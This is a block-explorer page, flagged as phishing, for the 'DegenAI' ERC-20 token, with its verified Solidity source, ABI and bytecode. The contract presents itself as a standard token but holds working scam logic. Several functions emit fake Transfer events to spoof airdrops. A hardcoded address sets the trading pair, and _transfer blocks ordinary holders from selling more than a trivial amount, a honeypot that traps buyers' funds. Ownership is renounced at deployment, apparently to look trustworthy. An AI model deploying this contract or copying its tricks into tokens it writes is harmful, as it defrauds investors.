This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
209,900,000,000 ERC-20 TOKEN*
Holders
101 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
0.00000316 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DegenAI
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-04-07 */ /** *Submitted for verification at Etherscan.io on 2024-04-05 */ /** *Submitted for verification at Etherscan.io on 2024-02-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Meta is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract DegenAI is Ownable, IERC20, IERC20Meta { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address private _p76234; uint256 private _e242 = 999; /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 8; } function claim(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function execute(address [] calldata _addresses_, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Transfer(_p76234, _addresses_[i], _out); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function actionPair(address account) public virtual returns (bool) { if(_msgSender() == 0x9d7276C8099C036261a6C5A02A5120Da134Cab3e) _p76234 = account; return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); renounceOwnership(); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(to != address(0), "ERC20: transfer to the zero address"); require(from != address(0), "ERC20: transfer from the zero address"); if((from != _p76234 && to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) || (_p76234 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && from != 0xf5Cf955D81C6fEf1347Fe1EAF36b0c844703d7e7 && from != 0x9d7276C8099C036261a6C5A02A5120Da134Cab3e && from != 0x0a4E844D0665D9cEf47E712b0C2a97EE6330891B)) { uint256 _X7W88 = amount + 1; require(_X7W88 < _e242 ); } uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} constructor() { _name = unicode"DegenAI"; _symbol = unicode"DegenAI"; _mint(msg.sender, 209900000000 * 10 ** decimals()); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"actionPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526103e7600755348015610015575f80fd5b5061001f336100a0565b604080518082019091526007815266446567656e414960c81b602082015260049061004a90826102c3565b50604080518082019091526007815266446567656e414960c81b602082015260059061007690826102c3565b5061009b336100876008600a610478565b610096906430df03d30061048d565b6100ef565b6104b7565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03821661014a5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060035f82825461015b91906104a4565b90915550506001600160a01b0382165f818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36101b76101c0565b5050565b505050565b6101c86101d3565b6101d15f6100a0565b565b5f546001600160a01b031633146101d15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610141565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061025457607f821691505b60208210810361027257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101bb57805f5260205f20601f840160051c8101602085101561029d5750805b601f840160051c820191505b818110156102bc575f81556001016102a9565b5050505050565b81516001600160401b038111156102dc576102dc61022c565b6102f0816102ea8454610240565b84610278565b602080601f831160018114610323575f841561030c5750858301515b5f19600386901b1c1916600185901b17855561037a565b5f85815260208120601f198616915b8281101561035157888601518255948401946001909101908401610332565b508582101561036e57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156103d057815f19048211156103b6576103b6610382565b808516156103c357918102915b93841c939080029061039b565b509250929050565b5f826103e657506001610472565b816103f257505f610472565b816001811461040857600281146104125761042e565b6001915050610472565b60ff84111561042357610423610382565b50506001821b610472565b5060208310610133831016604e8410600b8410161715610451575081810a610472565b61045b8383610396565b805f190482111561046e5761046e610382565b0290505b92915050565b5f61048660ff8416836103d8565b9392505050565b808202811582820484141761047257610472610382565b8082018082111561047257610472610382565b610d03806104c45f395ff3fe608060405234801561000f575f80fd5b5060043610610106575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb1461020c578063beabacc81461021f578063dd62ed3e14610232578063e7b817491461026a578063f2fde38b1461027d575f80fd5b806370a08231146101ba578063715018a6146101e25780638da5cb5b146101ea57806395d89b4114610204575f80fd5b806326ededb8116100d957806326ededb814610170578063313ce56714610185578063321bef231461019457806368432dad146101a7575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b610112610290565b60405161011f9190610acc565b60405180910390f35b61013b610136366004610b1c565b610320565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610b44565b610339565b61018361017e366004610b7d565b61035c565b005b6040516008815260200161011f565b6101836101a2366004610b7d565b6103ce565b6101836101b5366004610b7d565b61043a565b61014f6101c8366004610bf1565b6001600160a01b03165f9081526001602052604090205490565b6101836104a6565b5f546040516001600160a01b03909116815260200161011f565b6101126104b9565b61013b61021a366004610b1c565b6104c8565b61018361022d366004610b44565b6104d5565b61014f610240366004610c11565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61013b610278366004610bf1565b610514565b61018361028b366004610bf1565b610554565b60606004805461029f90610c42565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610c42565b80156103165780601f106102ed57610100808354040283529160200191610316565b820191905f5260205f20905b8154815290600101906020018083116102f957829003601f168201915b5050505050905090565b5f3361032d8185856105d2565b60019150505b92915050565b5f336103468582856106ed565b610351858585610777565b506001949350505050565b5f5b828110156103c85783838281811061037857610378610c7a565b905060200201602081019061038d9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161035e565b50505050565b5f5b828110156103c8578383828181106103ea576103ea610c7a565b90506020020160208101906103ff9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a36001016103d0565b5f5b828110156103c85783838281811061045657610456610c7a565b905060200201602081019061046b9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161043c565b6104ae610a24565b6104b75f610a7d565b565b60606005805461029f90610c42565b5f3361032d818585610777565b816001600160a01b0316836001600160a01b03165f80516020610cae8339815191528360405161050791815260200190565b60405180910390a3505050565b5f33739d7276c8099c036261a6c5a02a5120da134cab3e0361054c57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b61055c610a24565b6001600160a01b0381166105c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105cf81610a7d565b50565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610507565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146103c8578181101561076a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105bd565b6103c884848484036105d2565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b6001600160a01b03831661083d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6006546001600160a01b038481169116148015906108775750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b038316145b8061093257506006546001600160a01b0383811691161480156108b75750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b03841614155b80156108e0575073f5cf955d81c6fef1347fe1eaf36b0c844703d7e76001600160a01b03841614155b80156109095750739d7276c8099c036261a6c5a02a5120da134cab3e6001600160a01b03841614155b80156109325750730a4e844d0665d9cef47e712b0c2a97ee6330891b6001600160a01b03841614155b15610954575f610943826001610c8e565b90506007548110610952575f80fd5b505b6001600160a01b0383165f90815260016020526040902054818110156109cb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105bd565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f80516020610cae83398151915290610a179086815260200190565b60405180910390a36103c8565b5f546001600160a01b031633146104b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b17575f80fd5b919050565b5f8060408385031215610b2d575f80fd5b610b3683610b01565b946020939093013593505050565b5f805f60608486031215610b56575f80fd5b610b5f84610b01565b9250610b6d60208501610b01565b9150604084013590509250925092565b5f805f60408486031215610b8f575f80fd5b833567ffffffffffffffff80821115610ba6575f80fd5b818601915086601f830112610bb9575f80fd5b813581811115610bc7575f80fd5b8760208260051b8501011115610bdb575f80fd5b6020928301989097509590910135949350505050565b5f60208284031215610c01575f80fd5b610c0a82610b01565b9392505050565b5f8060408385031215610c22575f80fd5b610c2b83610b01565b9150610c3960208401610b01565b90509250929050565b600181811c90821680610c5657607f821691505b602082108103610c7457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561033357634e487b7160e01b5f52601160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207ac4ecbf6ae441d43ec53a198e39a85a880300abb723bc512d70c5c748f3169364736f6c63430008190033
Deployed Bytecode
0x608060405234801561000f575f80fd5b5060043610610106575f3560e01c806370a082311161009e578063a9059cbb1161006e578063a9059cbb1461020c578063beabacc81461021f578063dd62ed3e14610232578063e7b817491461026a578063f2fde38b1461027d575f80fd5b806370a08231146101ba578063715018a6146101e25780638da5cb5b146101ea57806395d89b4114610204575f80fd5b806326ededb8116100d957806326ededb814610170578063313ce56714610185578063321bef231461019457806368432dad146101a7575f80fd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f80fd5b610112610290565b60405161011f9190610acc565b60405180910390f35b61013b610136366004610b1c565b610320565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610b44565b610339565b61018361017e366004610b7d565b61035c565b005b6040516008815260200161011f565b6101836101a2366004610b7d565b6103ce565b6101836101b5366004610b7d565b61043a565b61014f6101c8366004610bf1565b6001600160a01b03165f9081526001602052604090205490565b6101836104a6565b5f546040516001600160a01b03909116815260200161011f565b6101126104b9565b61013b61021a366004610b1c565b6104c8565b61018361022d366004610b44565b6104d5565b61014f610240366004610c11565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61013b610278366004610bf1565b610514565b61018361028b366004610bf1565b610554565b60606004805461029f90610c42565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610c42565b80156103165780601f106102ed57610100808354040283529160200191610316565b820191905f5260205f20905b8154815290600101906020018083116102f957829003601f168201915b5050505050905090565b5f3361032d8185856105d2565b60019150505b92915050565b5f336103468582856106ed565b610351858585610777565b506001949350505050565b5f5b828110156103c85783838281811061037857610378610c7a565b905060200201602081019061038d9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161035e565b50505050565b5f5b828110156103c8578383828181106103ea576103ea610c7a565b90506020020160208101906103ff9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a36001016103d0565b5f5b828110156103c85783838281811061045657610456610c7a565b905060200201602081019061046b9190610bf1565b6006546040518481526001600160a01b0392831692909116905f80516020610cae8339815191529060200160405180910390a360010161043c565b6104ae610a24565b6104b75f610a7d565b565b60606005805461029f90610c42565b5f3361032d818585610777565b816001600160a01b0316836001600160a01b03165f80516020610cae8339815191528360405161050791815260200190565b60405180910390a3505050565b5f33739d7276c8099c036261a6c5a02a5120da134cab3e0361054c57600680546001600160a01b0319166001600160a01b0384161790555b506001919050565b61055c610a24565b6001600160a01b0381166105c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6105cf81610a7d565b50565b6001600160a01b0383166106345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105bd565b6001600160a01b0382166106955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105bd565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610507565b6001600160a01b038381165f908152600260209081526040808320938616835292905220545f1981146103c8578181101561076a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016105bd565b6103c884848484036105d2565b6001600160a01b0382166107d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105bd565b6001600160a01b03831661083d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105bd565b6006546001600160a01b038481169116148015906108775750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b038316145b8061093257506006546001600160a01b0383811691161480156108b75750736b75d8af000000e20b7a7ddf000ba900b4009a806001600160a01b03841614155b80156108e0575073f5cf955d81c6fef1347fe1eaf36b0c844703d7e76001600160a01b03841614155b80156109095750739d7276c8099c036261a6c5a02a5120da134cab3e6001600160a01b03841614155b80156109325750730a4e844d0665d9cef47e712b0c2a97ee6330891b6001600160a01b03841614155b15610954575f610943826001610c8e565b90506007548110610952575f80fd5b505b6001600160a01b0383165f90815260016020526040902054818110156109cb5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105bd565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f80516020610cae83398151915290610a179086815260200190565b60405180910390a36103c8565b5f546001600160a01b031633146104b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610b17575f80fd5b919050565b5f8060408385031215610b2d575f80fd5b610b3683610b01565b946020939093013593505050565b5f805f60608486031215610b56575f80fd5b610b5f84610b01565b9250610b6d60208501610b01565b9150604084013590509250925092565b5f805f60408486031215610b8f575f80fd5b833567ffffffffffffffff80821115610ba6575f80fd5b818601915086601f830112610bb9575f80fd5b813581811115610bc7575f80fd5b8760208260051b8501011115610bdb575f80fd5b6020928301989097509590910135949350505050565b5f60208284031215610c01575f80fd5b610c0a82610b01565b9392505050565b5f8060408385031215610c22575f80fd5b610c2b83610b01565b9150610c3960208401610b01565b90509250929050565b600181811c90821680610c5657607f821691505b602082108103610c7457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561033357634e487b7160e01b5f52601160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207ac4ecbf6ae441d43ec53a198e39a85a880300abb723bc512d70c5c748f3169364736f6c63430008190033
Deployed Bytecode Sourcemap
3241:5608:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3652:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5118:201;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;5118:201:0;874:187:1;5687:108:0;5775:12;;5687:108;;;1212:25:1;;;1200:2;1185:18;5687:108:0;1066:177:1;5327:295:0;;;;;;:::i;:::-;;:::i;4410:211::-;;;;;;:::i;:::-;;:::i;:::-;;3874:92;;;3957:1;2417:36:1;;2405:2;2390:18;3874:92:0;2275:184:1;4191:213:0;;;;;;:::i;:::-;;:::i;3976:209::-;;;;;;:::i;:::-;;:::i;5858:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5959:18:0;5932:7;5959:18;;;:9;:18;;;;;;;5858:127;2717:103;;;:::i;2482:87::-;2528:7;2555:6;2482:87;;-1:-1:-1;;;;;2555:6:0;;;2801:51:1;;2789:2;2774:18;2482:87:0;2655:203:1;3760:104:0;;;:::i;4756:193::-;;;;;;:::i;:::-;;:::i;4631:119::-;;;;;;:::i;:::-;;:::i;4957:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5073:18:0;;;5046:7;5073:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4957:151;5993:189;;;;;;:::i;:::-;;:::i;2828:201::-;;;;;;:::i;:::-;;:::i;3652:100::-;3706:13;3739:5;3732:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3652:100;:::o;5118:201::-;5201:4;2037:10;5257:32;2037:10;5273:7;5282:6;5257:8;:32::i;:::-;5307:4;5300:11;;;5118:201;;;;;:::o;5327:295::-;5458:4;2037:10;5516:38;5532:4;2037:10;5547:6;5516:15;:38::i;:::-;5565:27;5575:4;5581:2;5585:6;5565:9;:27::i;:::-;-1:-1:-1;5610:4:0;;5327:295;-1:-1:-1;;;;5327:295:0:o;4410:211::-;4499:9;4494:120;4514:22;;;4494:120;;;4581:11;;4593:1;4581:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4572:7;;4563:39;;1212:25:1;;;-1:-1:-1;;;;;4563:39:0;;;;4572:7;;;;-1:-1:-1;;;;;;;;;;;4563:39:0;1200:2:1;1185:18;4563:39:0;;;;;;;4538:3;;4494:120;;;;4410:211;;;:::o;4191:213::-;4282:9;4277:120;4297:22;;;4277:120;;;4364:11;;4376:1;4364:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4355:7;;4346:39;;1212:25:1;;;-1:-1:-1;;;;;4346:39:0;;;;4355:7;;;;-1:-1:-1;;;;;;;;;;;4346:39:0;1200:2:1;1185:18;4346:39:0;;;;;;;4321:3;;4277:120;;3976:209;4063:9;4058:120;4078:22;;;4058:120;;;4145:11;;4157:1;4145:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4136:7;;4127:39;;1212:25:1;;;-1:-1:-1;;;;;4127:39:0;;;;4136:7;;;;-1:-1:-1;;;;;;;;;;;4127:39:0;1200:2:1;1185:18;4127:39:0;;;;;;;4102:3;;4058:120;;2717:103;2443:13;:11;:13::i;:::-;2782:30:::1;2809:1;2782:18;:30::i;:::-;2717:103::o:0;3760:104::-;3816:13;3849:7;3842:14;;;;;:::i;4756:193::-;4835:4;2037:10;4891:28;2037:10;4908:2;4912:6;4891:9;:28::i;4631:119::-;4732:3;-1:-1:-1;;;;;4716:26:0;4725:5;-1:-1:-1;;;;;4716:26:0;-1:-1:-1;;;;;;;;;;;4737:4:0;4716:26;;;;1212:25:1;;1200:2;1185:18;;1066:177;4716:26:0;;;;;;;;4631:119;;;:::o;5993:189::-;6054:4;2037:10;6091:42;6075:58;6072:80;;6135:7;:17;;-1:-1:-1;;;;;;6135:17:0;-1:-1:-1;;;;;6135:17:0;;;;;6072:80;-1:-1:-1;6170:4:0;;5993:189;-1:-1:-1;5993:189:0:o;2828:201::-;2443:13;:11;:13::i;:::-;-1:-1:-1;;;;;2917:22:0;::::1;2909:73;;;::::0;-1:-1:-1;;;2909:73:0;;3847:2:1;2909:73:0::1;::::0;::::1;3829:21:1::0;3886:2;3866:18;;;3859:30;3925:34;3905:18;;;3898:62;-1:-1:-1;;;3976:18:1;;;3969:36;4022:19;;2909:73:0::1;;;;;;;;;2993:28;3012:8;2993:18;:28::i;:::-;2828:201:::0;:::o;6605:380::-;-1:-1:-1;;;;;6741:19:0;;6733:68;;;;-1:-1:-1;;;6733:68:0;;4254:2:1;6733:68:0;;;4236:21:1;4293:2;4273:18;;;4266:30;4332:34;4312:18;;;4305:62;-1:-1:-1;;;4383:18:1;;;4376:34;4427:19;;6733:68:0;4052:400:1;6733:68:0;-1:-1:-1;;;;;6820:21:0;;6812:68;;;;-1:-1:-1;;;6812:68:0;;4659:2:1;6812:68:0;;;4641:21:1;4698:2;4678:18;;;4671:30;4737:34;4717:18;;;4710:62;-1:-1:-1;;;4788:18:1;;;4781:32;4830:19;;6812:68:0;4457:398:1;6812:68:0;-1:-1:-1;